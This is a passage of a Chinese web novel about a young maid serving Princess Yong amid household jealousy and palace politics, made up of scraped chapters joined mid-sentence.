“妾身见过王爷。”雍王妃给雍王福身,随后才教苏侍妾起身。 “方侧妃如何了?”雍王妃问。 “回王妃的话,府医还在诊脉,不过内室有血盆子端出。”苏侍妾回答。 她哪怕没有生养过也知道,这是小产的征兆。 这回连竹清都不看好了,上回府医就说方侧妃不能动胎气,如今还流血了。 见雍王不打算进去看一看,雍王妃便吩咐道:“竹清,你替王爷与本王妃进去瞧一瞧,看看是甚麽个情况。” “是。”竹清行至内室,进进出出的丫鬟们都给她行了个半礼,她首先看向床上不省人事的方侧妃,只见她脸色苍白无一丝血色,身子轻轻颤抖着,下身的中裤上还有星星点点的血迹。 她问在床榻边的府医,“孩子可保住了?”这是雍王与雍王妃想要知道的重点。 府医已经把完脉,对着竹清拱手说道:“小的医术浅薄,恐无力挽救。如今方侧妃胎气大动,又逢心悸,这个孩子,怕是保不住的。” “可我看,似乎还未小产?”竹清问,她会医术,自然也能看出来,方侧妃还没有完全胎落。 “是,小的只能尽量保,至多保到明日,剩下的,便无能为力了。”府医不想面对主子们的怒火,在竹清教他出去回话的时候,他拱手,“这里还需要小的,还请竹清姑娘代小的回话。” 竹清看出了他的想法,不强求,自个出去了,待她完完整整说完后,雍王妃用商量的口吻与雍王说道:“王爷,不若去宫中太医署请擅长妇科千金的太医来看诊?” 雍王犹豫不决,夜里惊动太医,说不定会让圣上不满,少不得把他问责一番…… 雍王妃加重语气,“王爷,方侧妃已经有孕将近四个月了,府医说了,是一个男孩。” 一个男孩,难道不值当保麽?犹豫甚麽! 言罢,观察了雍王的脸色,雍王妃赶忙吩咐雍王身边的长随,“去,拿上王爷的腰牌到太医署请太医,务必要请擅长妇科千金的。” “是。”等雍王也点头之后,长随知事情严重性,不敢耽搁,连忙去了。 “王妃辛苦了。”雍王揉着眉心,出了这事,不单是他,连同王妃,也要被叫进宫里问话,都是辛苦事。 “等下太医到了,也让太医给你瞧瞧,你近日劳累,快些坐下。”雍王说。 竹清得了话,扶着雍王妃坐下,又到门口处让人上茶,她给雍王妃端来一碗汤,说道:“王妃,这是奴婢让小厨房做的固元汤,您喝吧,身子能舒服些。” “嗯。”雍王妃应了,竹清便拿着汤匙一口一口喂给她,喝完,她就熨帖地说道:“还是你可心,知道心疼本王妃。” 闻言,雍王抬眼看过来,见这个小丫头姿容清丽,只不过年岁尚小,遗憾过后,他也跟着夸了一 < 第 38 章 被盯上的竹清 《古代丫鬟升职记》全本免费阅读 姜二夫人携姜九娘子来,雍王妃并没有让人回避,这也就让守门的、上茶的丫鬟们都知道了,竹清得了一套三进的院子。 三进,院子,盛京城的。 这几个词搁一起,足以让人心里不平衡,特别是往常惯爱掐尖争风头的暖春,此刻尤甚不平静。 她对于竹清的印象一直都是运气好一点的小丫头,会的东西是多,可与她们不冲突,她便也没有多大的感觉。 平常竹清得些赏赐,她有些不痛快,倒也不会发脾气。 直到这一次,盛京城三进的院子,她未来夫家都没有呢,竹清这个不过十四的丫鬟却有了,教她心里不爽快。 “凭甚她可以得意?”暖春嘟囔了一句,恰好教绘夏听见了,她淡淡地说道:“你可别动歪心思,人家一个小娘子,哪儿是你的对手。” 这话活像她不是个好人,暖春暼她,“我断不会如此下作。” “这便好了。”绘夏说。 正院里,不只是暖春心里浮动,其他人也是,特别是还未成婚的,亦或是家中有适龄哥儿的,皆打上了竹清的主意。 尤其是一些不看重姐儿的人家,暗地里嘀咕,“一个小娘子,如何能拥有恁大的院子?岂不是浪费?合该嫁入咱们家,把房契与咱家,再住进去才行。” 好在,竹清是大丫鬟,每日事情多,且自个谨慎小心,这才没有给旁人机会。 不消几日,这风头就过了。 元宵节就这麽稀里糊涂地过去了,这回轮到竹清守着正院,暖春与绘夏出去顽。 如此又过了两日,宫中的淑妃娘娘忽的教人送来几碟子糕点。 “王嬷嬷请坐。”雍王妃一说,竹清便亲去拿了一张圆凳到那,又虚扶着王嬷嬷坐。 “王嬷嬷喝茶。”暖春又捧了茶与她。 王嬷嬷是伺候淑妃娘娘的,也得脸,这会儿古板严肃的脸上显出几分笑意,喝了两口茶,这才把来意说明,“前个娘娘听说王府里叫了太医,这几日都忧心着,偏偏王爷被圣上叫去当差,她便不好询问,只能找了那个太医去问,听闻王妃怀的是个男孩,喜得找不着北了。” 原本淑妃娘娘是很不虞的,觉着这般大动干戈,只是那太医为雍王妃说尽了委屈,这才打消了淑妃娘娘的 不愉快。 雍王妃闻言,拧眉,忧心忡忡地说道:“也是本王妃不好,原是想着第二日就找母妃说明的,谁曾想太过劳累,差点晕厥,这才迟了。” 她知道,淑妃让王嬷嬷来,无怪乎是责怪她出了这样的事都没有进宫与她说明。 王嬷嬷细看雍王妃的脸色,有些苍白,唇色似乎也偏淡,应当是气血虚,她心里有数,劝慰道:“哪儿就需要王妃这般急迫了,娘娘说了,便是您不进宫请安,她也不会怪您的,您还是以自个的身子为重。” 雍王妃心里冷笑,不怪她?那你是来干嘛的了? “初一十五都是需要请安的,元宵节那日因着不适没有去,还请嬷嬷转告母妃,明日本王妃会进宫去。”面上滴水不漏,雍王妃只虚虚地说道:“劳嬷嬷走一趟了,暖春。” 暖春把一袋子赏银放到王嬷嬷手中,王嬷嬷起身,露出了一个笑脸,“王妃挂念娘娘的心意老奴都省的,回去后也会如实交代娘娘,还请娘娘保重。” 王嬷嬷行了个礼,便由暖春送出去了。 “去打盆温水来。”竹清吩咐守门的小丫鬟。 雍王妃靠在椅背上,由着竹清用湿帕子替她擦去脸上的粉腻子,盆子里的水逐渐变得混浊,她苍白的脸庞有了血色,又是一副滋润的模样了。 “幸好有你手快,替本王妃梳妆,不然还真不好应付王嬷嬷。” 竹清笑道:“王妃对淑妃娘娘一片孝心,为免得淑妃娘娘多思,奴婢这才出了下策。” 见雍王妃不知何时睁开眼盯着自己,竹清下意识地摸了摸脸皮,疑惑地问道:“王妃怎的这样看着奴婢,奴婢脸上有东西麽?” “没有,只是觉着你与先前不太一样了,皮子白腻了许多,本王妃还记着第一次瞧见你,你小小矮矮的,整个人蜡黄。” 雍王妃伸手摸上竹清的手,滑嫩。 暖春似是不经意间说道:“哟,王妃可是不知道,竹清不仅会医术制香,还会制作美容膏脂呢,她天天涂,可不是白皙。” “奴婢瞧了都羡慕。” 看似无意的话,却教竹清心里嗤笑,果然,暖春还是嫉恨她,不过麽,装样子,谁不会,很快,竹清收敛好神情,看向雍王妃,娇嗔地解释道:“奴婢用王妃赏的东西制作了 一些美容养颜的膏脂,只是还不确定效果,便与了几位姐姐一些,大家都试试,若是没问题,这才敢做最好的与王妃用。” 说罢,她暼向暖春,“暖春姐姐也真是的,说好的与王妃一个惊喜,你忘了?这般说出来,倒教妹妹我不知道怎么办了。王妃有了身子,咱们用的未必适合王妃,所以我才更小心一点,倒让暖春姐姐先提了。” 当她好欺负麽,真以为她不还嘴? 暖春面色有些尴尬,竹清的这话好似她是那种不顾王妃身子的人,她急忙想要解释,又听见竹清说了一句,“不过说到底,暖春姐姐也是挂心王妃。” 这一句找补倒让暖春的面皮火烧一般滚烫,她抿抿嘴,说道:“瞧你,我不过一时忘了,多嘴一句。王妃,奴婢去门房处瞧瞧有没有甚麽请帖送来。”等雍王妃点头,她逃似的离开了。 屋里只有三人,画屏原在写回帖,此刻抬眼与竹清对了一个眼神儿。 虽然暖春是大丫鬟,但是她与绘夏更熟悉一些,与画屏也不算热络。所以实际上,四个大丫鬟隐隐有分堆的迹象。 竹清就与画屏顽得更好。 “除了美容的膏脂,奴婢还制了润肚皮的,等妥当后就与王妃用。” “果真?”雍王妃惊喜,这些天稳婆都与她说了,妇人怀孕生子,有的肚皮光滑如初,有的则会变得丑陋不堪。竹清这份心意,来得可太到位了。 “自然。”竹清又讲了一些别的,无外乎就是前些个医女稳婆说的按摩腿部手部,降低浮肿的法子。她声音柔和,语速适中,教她这麽一说,果真让雍王妃听得入神了。 雍王妃看向认认真真的竹清,只觉得她很好,殊不知这会儿竹清正一心二用,漫不经心地想着暖春。 若是暖春往后再惹她,她可不会客气。别人打她一巴掌,她就还十巴掌,还要踹两脚,做甚要委屈自个? * “你与竹清闹别扭了?”绘夏问暖春,“方才流云和我说了,你在王妃跟前说她坏话。连一个三等丫鬟都听出来了,你别告诉我你不知道?” 流云正是守门帘子的丫鬟。 暖春这回懊恼了,她今天事情多,恰逢在王府门口,画屏忽略她,她一时想不开,刚刚就说了那样的话。 “大家都是 大丫鬟,哪怕竹清比咱们资历低,你也不该那般对她,下了值,与她道个歉罢。”绘夏正用着竹清送她的美容膏脂呢,鼻尖都是清香。 “凭甚?我也不比她差。”暖春不服,且她不信绘夏的话,怀疑她这话想耍甚心眼子。 绘夏睨她,嗤笑道:“惯来只有你欺负人的份,哪里有人敢给你脸色瞧?如今又看不惯竹清了,当了十来年大丫鬟,倒是越活越回去了。” “她会的多不是很好?这样教咱们轻松快活一点,左右咱们资历在这里,她如何能越得过咱们去了?” “罢了,我自不会再劝你。”绘夏扭头就走。 * 翌日,因着昨天的事,雍王妃只点了画屏与竹清随她进宫请安。 雍王妃从马车坐到轿子里,竹清与画屏一左一右跟着,她头一回进宫,不由得余光张望,雕梁画栋、亭台楼阁,翘起来的飞檐上挂着宫铃,风一吹,便叮叮当当地发出清脆的声音。 这就是皇宫。 进宫请安不需要见圣上,轿子在椒房宫停下,她们首先得见过皇后娘娘。 皇后娘娘没有嫡子,唯有一个已经出嫁的嫡女,故而在后宫中以贤良淑德闻名,不论是哪个王妃给她请安,她都笑脸相迎,半点不拿乔。 “皇后娘娘让雍王妃进去。” “儿臣参加母后,母后万福金安。”为显得亲近,雍王妃向来都是叫母后的,虽然皇后没有自个的儿子,但是她的母家不容小觑,不然也不会稳坐皇后的宝座。 要是能得到皇后的支持,于他们来说,无疑如虎添翼。 “快坐,嬷嬷快扶她坐下。” 竹清暗中瞅了一眼,皇后娘娘不算十分明艳,面容端正,头上没有戴甚麽华贵的头面,只有一支镶嵌着莹莹微光的珍珠流苏挽在上边,显得她整个人温婉大气。 “你也是,明明有了身子,还行礼,这一次半次的,本宫也不计较的。”皇后娘娘似是与雍王妃很熟,活像一对儿亲母女。 “得母后疼爱,只是礼不可废。不然知道的,是母后关心儿臣,不知道的,还以为母后不顾宗教礼法了,儿臣可不愿母后名誉受损。”雍王妃显然深知说话的艺术,短短几句话就把皇后娘娘哄的高兴。 明明是她自个害怕不行礼被责怪 ,可是一番话下来,倒是教皇后娘娘也说不出旁的话了。 她脸上笑容不变,说道:“也罢,你总是这般孝顺。有了身孕可会想吐?稳婆奶嬷嬷找好了吗?这第一胎,是会艰难一些的。” 雍王妃一一回答了,她端起茶盏,发现里面不是茶水,而是蜜枣羊奶,顿时出声软声道:“还是母后疼儿臣,这蜜枣羊奶,儿臣怎么喝都不腻。” “你往后来,本宫都让人给你上这个,你现在双身子,不宜饮茶,也让你身边伺候的丫头们记着了,别再与你茶水。”皇后娘娘暼了竹清一眼,看她这样年青,只怕是不知事的,故而开口提醒了。 “是,谨记母后的话。”雍王妃说。 如此这般,她们在椒房宫坐了两刻钟才离开。 有丫鬟轻手轻脚收走雍王妃喝过的茶盏,奶嬷嬷轻声唤皇后娘娘,“娘娘别看了,仔细伤眼睛。” “也就只有她对本宫是一副女儿的态度,旁的……”皇后想到了明里暗里不把她当回事的宣王妃,又想到了在她跟前不怎么说话的祁王妃。 “唉……只是可惜了这些个王爷,没有一个中用的。”尤其是让她觉得好的雍王妃,偏偏嫁与了雍王,叹息,惋惜! 圣上眼看着年纪大了,往后不能生,日后的储君势必在三个王爷中选出来,可是她冷眼瞧着,这三个没有一个成的。 都是废物。 一个不爱娘子爱郎君,这便不成。一个爱喝酒,喝醉了喜欢打人拿剑砍人,他的王府每一个月都能拖走不少的可怜人。 她是凭着上官氏才能知道这些内情,皇帝麽,大抵也是知道的,可惜儿子少,动一个都了不得,他便也只能多多少少帮着隐瞒。 如此看来,爱美色、脑子空空的雍王居然还算不错的了,真真儿是可怕。 奶嬷嬷低声说道:“圣上不是有意考教皇孙们的学问?”这便是看哪个皇孙聪慧,便考虑考虑立他的父亲为储君。 “一脉相承的人,除非与母亲更像,譬如雍王妃肚里的,若是与她更像,那还有几分说头。”皇后嗤笑,要是与雍王更像,那还看甚麽? 圣上看皇孙,至今都没有一个得他心意的。 “民间不是有句俗话,矮个子里拔高个。”奶嬷嬷说。 皇后娘娘锐 利点评道:“那也太矮了些。” 且往后看罢! * 左拐右拐之后,她们就到了淑妃住的长春宫。 淑妃娘娘保养得宜,一张面孔色若春晓之花,明媚张扬,丹凤眼微微上挑,淡淡地睨着人。 因着殿内燃的炭火足,她身上穿着一件夏季的薄衫,隐隐约约能瞧见白皙的胳膊,举手投足间,满头珠翠碰撞摇曳,带出一阵儿清脆的声响。 “儿臣参加母妃,母妃金安。”照旧行礼,淑妃也很快地教人扶雍王妃坐下。 这可是她唯一一个儿媳,虽说她也不算多喜欢她,不过麽,到底是正妻,该给的面子还是要给的。 “天气冷,请安也不必急于一时,伤着了就不好了。”淑妃瞧着雍王妃尚未显怀的肚子,也是希望能尽快生下她儿的嫡子。 “儿臣想要尽孝,先前元宵节没能进宫,故而今日一得空,就来探望母妃了。” 淑妃满意,又问了雍王的饮食、吃穿,交际她是不管的,后宫不许干政,她的母家又并非有权有势,这些事情,她不太懂。 “对了,听毛太医说,方侧妃的身子不大好?”淑妃不满地问道,说起来,正妻有管教后院的责任,方侧妃这般,未曾不是雍王妃管教不善。 “是。”雍王妃回了几句,重点是方侧妃自个心胸狭隘,容不得人。 “你是王妃,合该多些管教她们,像这般争风吃醋的事,怎能出现在后院中?何况她还有了身孕,本宫听说,她肚子里的,也是个男孩?” “是,毛太医的诊断,想必不会有错。”雍王妃依旧沉稳。 “都是本宫的孙子,虽说她肚里的不如你的尊贵,但终究是兄弟手足,你理应多些关心她……”淑妃絮絮叨叨,在竹清耳中,无非就是让雍王妃拿出正室的气度,关心方侧妃,她觉得方侧妃闹事,无非就是觉得待遇不公,既如此,就暂时让她的吃穿用度与雍王妃一般就好了。 淑妃这是想家宅不宁? 雍王妃没说可以,也没有说不可以,只问她,“母妃,等方侧妃身体好些了,可是要儿臣带她来见见你?” “不必了,来日她生了孩子,你带孩子来让本宫看看就好了。”淑妃摆摆手,于她,方侧妃是不配见她的,不过她生的,是她的孙< 第 39 章 相看 《古代丫鬟升职记》全本免费阅读 暖春是个不服输的人,自认为在一方面丢份了,必得在另外一头找回来,这不,因着算术快且眼睛尖,她看账簿的时候找出来了几处错误,都是些小地方。 竹清在室内伺候,听着暖春极快地报数,心里惊讶暖春居然心算异常厉害,且一点都没有错。 她连算盘都不用拨! 几个被找出错处的管事额头冒汗,雍王妃轻轻看了他们一眼,又满意的瞧了瞧暖春。 雍王妃挥了挥手,竹清便在香炉上撒上香片,随后悄无声息地退出了内室。 “这儿。”画屏在茶水房与竹清招了招手。 竹清问她,“暖春算术恁厉害?” “不然你以为她怎的当上大丫鬟的?”画屏倒了一杯牛乳茶与竹清,又把瓜果点心往竹清前边推了推。 “不过,她能稳坐大丫鬟的宝座,能力是一方面,另外一方面麽,则是她小时候救过王妃。寒冬腊月,王妃掉进了池子里,旁的小丫头都不敢下去,她偏不怕,把王妃救上来后,她高烧了七八天,差点没了。”画屏有些感慨地说道:“所以,平常里她争风吃醋,王妃也就不大管的。” “她如何争风吃醋了?”竹清玩味地问,难不成暖春不止针对过她? “绘夏,我,繁秋与温冬。哪个没受过她的气。”画屏有些不满,评价她,“能力麽,有的,有些小聪明,却算不上聪慧。” 暖春自个也知道,凭着这些年的情分,只要不过分,雍王妃是不会管的。且她做的事,都不影响大事,从不闹到雍王妃面前。在拿捏分寸上,她又聪明了点。 聪明还没到极致,蠢又没有蠢透。 “她呀,害人的事不做,不过沾酸喝醋,不许有人比她得宠,她不喜你也不是一日两日了。从前你觉得她冷冷淡淡像是个聪慧的,那是她瞧不上你,不理你,你才这般觉得。” 竹清嘟囔,“真的麽?” “可不。”画屏说,从前暖春还能维持面上的平静,可是从竹清得到了那一个院子开始,暖春就绷不住了,表现出来,所以竹清自然以为暖春是忽然针对自个。 实际上并不是。 且……画屏看了看低头的竹清,不只是暖春,连绘夏也多少有些不满竹清的,只不过她不会做甚麽事。她们几个跟着雍 王妃恁多年了,这才有了体体面面的大丫鬟身份,而竹清进王府几个月就成了,不免教人议论她。 如何让人心里平衡呢?人心总是这样的,你过得不好我怜惜你,你若是过的比我好了,那我可就心里不舒坦了。 竹清吃着糕点想,暖春自是有一番本领的,凭着算术,哪怕嫁人了,也还是可以帮着雍王妃管铺子,凭着这个,谁也越不过她去。 不过能力归能力,脑子却不太够,或许是当初姜家没有料到自家的姐儿会成为王妃,寻的丫鬟都是中规中矩的,陪嫁进普通人家,自是够用的,进王府,见了泼天富贵,从前的教导便有些不够看了。 “她得的恁多赏赐,都够买一个小院子了罢?用得着羡慕我?”竹清想暖春应当比她有钱多了。 “甚麽啊,她落水之后虽然有王妃教人给她治身子,可是她隔三差五自个买补药喝,燕窝甚的也断断续续,就想着养好身子日后生育。且说她家,因着妹妹多,又不是个个都能进府里当差,她娘亲便想早些让这些女儿嫁出去。暖春爱护妹妹,与她娘亲说好了,得的大部分银钱都送回家,不让妹妹们恁早就嫁人。” 小娘子嫁人早,便是蹉跎。拔尖的暖春,居然是个疼爱妹妹的,真真儿是看不出来。 画屏解释完,又说道:“每个月得的月例与赏赐,流水似的花出去。你说,她有钱买院子?哪怕存下一些,也断然是不够的。”甭说暖春,便是她,少不得将银钱寄回家去,不能在父母亲身边尽孝,也唯有这般才能不落人口实。 一个孝字,能压死多少人? 说来,她还挺羡慕竹清的。 吃完糕点,随后竹清找了竹溪,把想法告知她,竹溪说道:“自然是不错的,不过你若是要放租,最好不要一个一个厢房这样租出去,麻烦。要一整个院子租,去牙行寻个经纪或是牙婆,他们能帮你找到租客。” “咱们这儿来来往往的官员多,有些大人从外地回京做官,一时买不起房,就喜欢租。你院子的地界不错,想来是能租个好价钱出去的。” 竹清听罢,决定就按照竹溪说的,找个官员把这个院子租出去,至于为甚麽不是卖,或许是想到以后老了,能找雍王妃要个恩典,出府养老罢! 过几日,寻了个时候,竹清请了假 出去瞧院子。 开了门,院门口正有棵高大的榕树,上边光秃秃的,堆了雪,再往前走,是个长满了草叶的椭圆形拱门,穿过拱门,有浮冰的池塘映入眼帘…… 竹清不禁感叹,要是自个不是个丫鬟,有这麽一个院子,再做些吃食买卖,这辈子也就富足了。 见过院子,又寻了一日请绘夏、画屏、竹溪一家子以及曾婆子等等几个要好的人来家中热闹一番,之后去牙行寻了个经纪,让他帮着找租客。 那经纪捻着胡子表示,“这有何难,上个月正是外地官员回京述职的时候,现在很多官老爷们都是住旁人家里呢。您这院子是三进的,买卖的话,得几万两银子。这事儿好办,您就擎等着罢!” 如此这般,不消几日,院子就租出去了,一年与竹清一千两的银子。 * 京中的流民难民俱都被圣上下旨赶去修堤坝修道路了,每日有三餐,皆是能吃饱的米饭,虽然是陈米,但是也教他们甘之如饴。 马车上,雍王妃想着圣上的手段,为甚麽不让州府的官员把难民流民拦住,而是让他们进京,随后安排他们去修堤坝和修路? “难民流民会引起州府动荡,若是来京城,有士兵镇压,有帝王镇守,再佐以温和的教化手段,如此,反倒教这些难民流民归心于……” 同一时间,皇城中,于勤政殿高坐的帝王说了与雍王妃一模一样的话,“……归心于朕。” “堵不如疏,疏不如通。” “只是可恨这些蛀虫一般的官员居然欺上瞒下,此等天灾,居然还瞒着朕,哼。”皇帝恼怒,若不是蝗灾发生的地界离京城远,这些蛀虫也不敢如此,他也不会到此时才解决这件事。 大太监替帝王换了一盏茶,说道:“陛下消消气,这些官员一辈子只与陛下见个几面,陛下为他们生气,那还是他们的福气呢!” “你个滑头。”皇帝笑了笑,喝了几口八分茶香的极品春山毛尖茶。他低头,看着桌上的折子,惆怅地说道:“康德海,你说为甚朕的几个皇子个个不出色?与先帝的儿子们比起来,他们差远了。” 数量差远了,能力也差远了。 他当年为甚麽发动宫变?不还是因为先帝的十几个儿子,个个出色,甚至有几个,文武双全, 支持者众多。若不是他占了先机,这皇位能不能到手还不好说。 偏偏到了自个的儿子,庸俗不堪。 “王爷们孝顺陛下,也是出色了。”康德海干巴巴地说了一句,这话教他不好接,总不能说,是的,陛下您的三个儿子,真的不怎麽样。 哪怕他作为一个太监没有儿子,可是恁多年陪着皇帝看殿试,青年才俊比比皆是,一些状元郎探花郎,文采飞扬容貌俊秀,单拎一个出来,都把三个王爷比下去了。 “朕记得,雍王妃似乎有孕近一个月了,是个男孩?” “陛下好记性。”康德海说,陛下提这个话是甚麽意思? 皇帝只是忽然想到,那日雍王妃胆子大到与他论生意,若是她的儿子随了她,想必也是出色的。 “咳咳咳。”忽的,皇帝咳嗽不断,胸口一疼,一口鲜血就吐了出来。 康德海一叠声喊叫太医,皇帝怔怔地望着那口血,这是当年先帝后宫的妃子们下的手,她们个个心狠手辣,为了扫除障碍,甚麽手段都用上了。 他那个时候因着母妃家里有些势力,今天被下毒,后天被刺杀,先帝想要一个最出众的储君,放任这些事发生。 也是在王府的时候,他选的都是些身份低微且不算聪明的女子来绵延子嗣,实在是被那些狠毒的后妃恶心到了。 * 第二回陪着雍王妃进宫,竹清已然是轻车熟路了。 淑妃靠在金线绣的迎花枝朱雀玩偶前边,自从圣上赞誉玩偶后,这些娘娘们也跟着用了,她们是女子,对于这种毛茸茸的东西天然就多了几分喜爱。 “前个圣上到本宫这边,说是已经给我的儿看好了侧妃的人选。” 雍王妃心头一跳,面上四平八稳地问道:“母妃,不知父皇看好了哪家的娘子?若是认识的,也好教儿臣送一份礼过去。” “光禄寺少卿贺寻温第五个女儿,贺舒华。本宫听闻这个娘子颇通诗书,为人温和有礼,是个不错的。”淑妃想着自个儿子身边就该是这样的人伺候才好,甚麽春莺,真是脏眼睛。 她看了看底下瞧不出神色的雍王妃,不禁想到,雍王妃也是出生清贵礼仪之家,贺舒华也是,貌似另外一个侧妃亦是。 不错不错。 若是淑妃 有心观察,就会发现三个王爷的王妃与侧妃俱都是文官之家出来的,一个都没有武将女儿。 在重文轻武下,这似乎很正常,可也正因为如此,王爷们起兵篡位的可能性大大减少。这些王爷莫说没有当今的脑子与心狠,就说沾染不了兵权,这就不可能复刻当今登基之路。 甚至生下皇子的三个妃子,身份地位都不高,如淑妃与德妃,母家低微,一天天的只知道斗嘴。 祁王的生母端文贵妃更甚,起初不过是乐府的一个擅长弹古琴的乐姬罢了。 那些身份地位高的,通通没有儿子。譬如皇后,出生上官氏,有个女儿。譬如贤妃,是三朝元老安国公的嫡女,没有生育。譬如昭妃,祖父是桃李满天下的老太傅,有过一个儿子,但是五岁夭折了。 很难说这里边有没有甚麽肮脏的事。 三个王爷的生母身份俱都不高,哪有这麽巧合的事? “即是这样,那儿臣就为她装扮一个清雅的院子,这般可好?”雍王妃慢条斯理地问,脸上全然没有嫉妒。 “嗯。”淑妃又说了一些别的话,左不过是询问雍王的事,又踩一脚宣王,连带着抱怨德妃。 雍王妃只静静地听着,从中抽丝剥茧,找出自个想要的信息,她捕捉到宣王后院即将进一个国子监祭酒的孙女,不过是庶女。 淑妃不把这件事放在心上,她却不禁暗叹父皇真是把平衡之道玩到极致。 从宫中出来,雍王妃对竹清说道:“过两日你就去姜家住着,随后跟着惠姐儿坐船去宜州,来往加上相看,也就十天八天回来了,到时候你就帮着本王妃料理选秀的事。” 别看雍王妃只是一个王妃,选秀好似不关她的事,其实内里学问多着呢。 像姜家,以及她的外祖家,都有适龄的娘子进宫选秀,只不过她们都提前说了,不入宫门王府,甚麽皇室宗亲,她们也都不嫁。故而求到了雍王妃这里,让雍王妃给她们使关系,撂牌子回家自行婚配。 “是。”竹清应该是,回去后下了值就开始收拾东西,同屋的画屏寻她带些宜州特有的玩意。 “我听闻宜州有种料子,叫雪缎,能帮我带一匹回来麽?”画屏问。 竹清倒是知道雪缎,犹如雪花一般洁白顺滑的衣料,不拘是谁用 ,不过不便宜,半匹就得三四十两银子。 “自然可以,不过你买如此贵的料子做衣裳?”竹清不是看不起画屏,只是画屏平常穿得普通,那些赏赐也只是收起来,等能出府的时候带走。 比起暖春,她简直可以用朴素来形容。 画屏不好意思地笑了笑,“我妹妹定了人家,这是我送她的礼。”说着,她拿出一百两,说道:“这是买料子的银钱,你拿着。” “好。” 除了画屏,也有不少与竹清相熟的人寻她带东西,不拘是甚麽,反正外地的,总归是稀奇。竹清一一用纸笔记了,贴身带着。 到了二十一这日,姜家来了一辆马车,把竹清接走了。 姜家不如雍王府富丽堂皇,因着是文官老爷家,所以屋子装饰得别有一番雅致。 花花草草自是不必说,还有些诗词歌赋刻在柱子上,打眼看过去,就有一股清净。 竹清先去见了姜二夫人,恰好,惠姐儿也在此处。 “奴婢见过夫人,九娘子。” “快起来,给竹清姑娘看座儿。”姜二夫人脸上一派笑容,见竹清来了,忙与她说道:“我正和惠姐儿说呢,让她到了宜州不能离了你去,如此教我安心。” “竹清姑娘,此去宜州,你们都是住在惠姐儿的亲姑姑那里,相看也是由她姑姑带着……” 如此说了一通,竹清记了,随后与姜九娘子回了她的院子。 “我让人给你打扫了一个房间让你住,等去了宜州,地方可能就没有那么宽敞了,要委屈你与我的贴身丫鬟住一起。”姜九娘子随手一指,那个丫鬟正是与竹清一同找过她的初月。 竹清笑了,“有甚麽委屈的,都是当差的,奴婢巴不得与初月住一块。” 她释放的善意初月自是能感受到,她不禁说道:“奴婢还想跟竹清姐姐学一些东西呢,姐姐可是王妃身边的人,会的东西比奴婢多多了。” 插科打诨过后,竹清就住下了,这一晚她早睡,翌日就登上了去宜州的船。 坐船不是甚麽好体验,何况这会儿是冬日,大雪纷飞的,河上也没有甚麽好看的景色。 在即将进入宜州的地界,景色就不同了,开始出现青黄交接的山体,再往下漂流,便出现了青青绿绿的
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“这人不用管他只待回禀了王妃他便插翅也难逃。你随我们回王府罢一个人总是不太安全的。”竹清说暖春提着礼盒跟在竹清身后曾婆子坠在最后边她身强体壮自是比竹清与暖春更能预防危险。 到了马车上那两个小厮早已等着了见了暖春赶忙问好这般一行人回了王府两个小厮就把几袋子糕饼与了竹清还道:“竹清姐姐善心这是我们两个孝敬姐姐的还请姐姐一定要收下。” 竹清谢了待他们走了又分与曾婆子直把曾婆子一张老脸乐开了花。 瞧瞧她就说跟着竹清姑娘不会差的这轻轻松松出去一趟不仅有了赏银还有一包糕饼哎呀呀这小日子可真是滋润得紧。 竹清与雍王妃回了这趟送礼的事宜见暖春进来便出去了屋内只余下暖春与雍王妃想必是要好好说说话的。 “竹清绣娘在等着你呢。”画屏说她招招手一个绣娘便拿着布尺过来与竹清量身形。 预备着回暖了她们夏季的衣裳在一个多月前都已经让绣房做了差不离能拿到手。唯有竹清出去一趟错过了。这回来之后又高了胖了从前的尺码便不对了只能重新量过。 “竹清姑娘想要甚麽样式的绣花?我这里都有图案的你看看可有中意的只管说与我听我保管与你做得体体面面的。”绣娘有意讨好拿出贴身放置的几张纸轻手轻脚地放在桌面上供竹清挑选。 竹清无意高调且与众不同 待竹清空闲了画屏这才与她小声说体己话她惋惜地说道:“竹清怎的回回你出府都能恰好避开热闹呢 ?” “又如何了?”竹清噎了她不过出去一两个时辰又发生了甚麽事? “康侍妾有孕了一个月了!”画屏兴致勃勃地说道:“方才崔侍妾不是来伺候王妃布膳麽?康侍妾见王爷也在不甘落于人后跟着来了。王妃对于她们两个没甚感觉留下了她们。哪知那个康侍妾夹起一块鱼自个先吐了。后头请了府医来诊出有了一个来月了。” 她们瞧得真真儿的康侍妾当场喜极而泣王爷也在欢喜崔侍妾麽神色淡然倒也没有嫉妒。 说起来竹清觉得崔侍妾走的是讨好雍王妃的路子旁的侍妾通房都是花心思在雍王身上崔侍妾则不同见天儿做了汤水还有小物件儿来送与雍王妃。 只是……“我记得康侍妾就伺候过一回王爷?”竹清问她们在正院有时雍王妃看记档的时候她们也会听上一耳朵。 “可不是说到这个那崔侍妾日子比她还要多可是康侍妾却更幸运只那一回便有了。这回她又要得意了罢。”画屏手上缠绕着丝线一边猜测道:“后院那些侍妾只怕个个都要咬碎了银牙了你不在的这一个月可是没瞧见康侍妾可是高调得很。不是去这个侍妾那里就是去春莺姑娘那里天天串门子扰得她们怨声载道的。” “可是总不好把她赶出去罢?都是要见一辈子的人弄得太僵硬了她们也难做故而只能忍着了。要说起来没有几个是喜欢她的。” 耐不住康侍妾命好一次便有了。 只怕这次风水轮流转到那些侍妾去她的院子里了。 湖光院西厢房里头正热闹着呢。 不独王爷王妃赏赐了一大堆东西连其他的侍妾通房也赠与了好些值钱的金贵物件儿她们一个个奉承着康侍妾 “自打康侍妾进来后我瞧你面容就觉得你是个有福气的瞧瞧这怀上了王爷的骨肉生个哥儿出来日后就不用愁了。” 虽然说庶子分不到多少财产可是到底是让侍妾有了倚仗下半辈子就不用担心孤独老死了。 康侍妾脸上得意摸着尚未显怀的肚子说道:“可不是我现在就盼望着孩儿快快落地也好教我瞧瞧他乖不乖懂不懂事听不听 话。” “欸,乖不乖的,在肚里就知道了,你呀,很快就能感受到胎动。”在场的都没有生育过,这话是春莺姑娘说的,她摸着高高隆起的肚子,脸上有几分慈和,那是母亲对孩儿的爱。 她已经有六个多月的身孕,再有一两个月,便要瓜熟蒂落,多少人盯着她,且看她能不能生下王爷的第一个儿子。 这真要生了,那她可是得意了,比苏侍妾还要得脸。 苏侍妾今个也在这里,她虽然养着敏姐儿,可是到底不曾生育,故而这会儿看了康侍妾与春莺姑娘,皆是羡慕得很。 她也想有个自己的孩子。 康侍妾又看向了崔侍妾,嘲讽道:“崔侍妾伺候王爷几回了,怎的还没有动静呢?莫不是,不能生?” 她与崔侍妾是老恩怨了,从前闺阁里就认识了,崔侍妾也知道她单纯的比较蠢,所以说话做事也就不带脑子,她不会与康侍妾计较的。 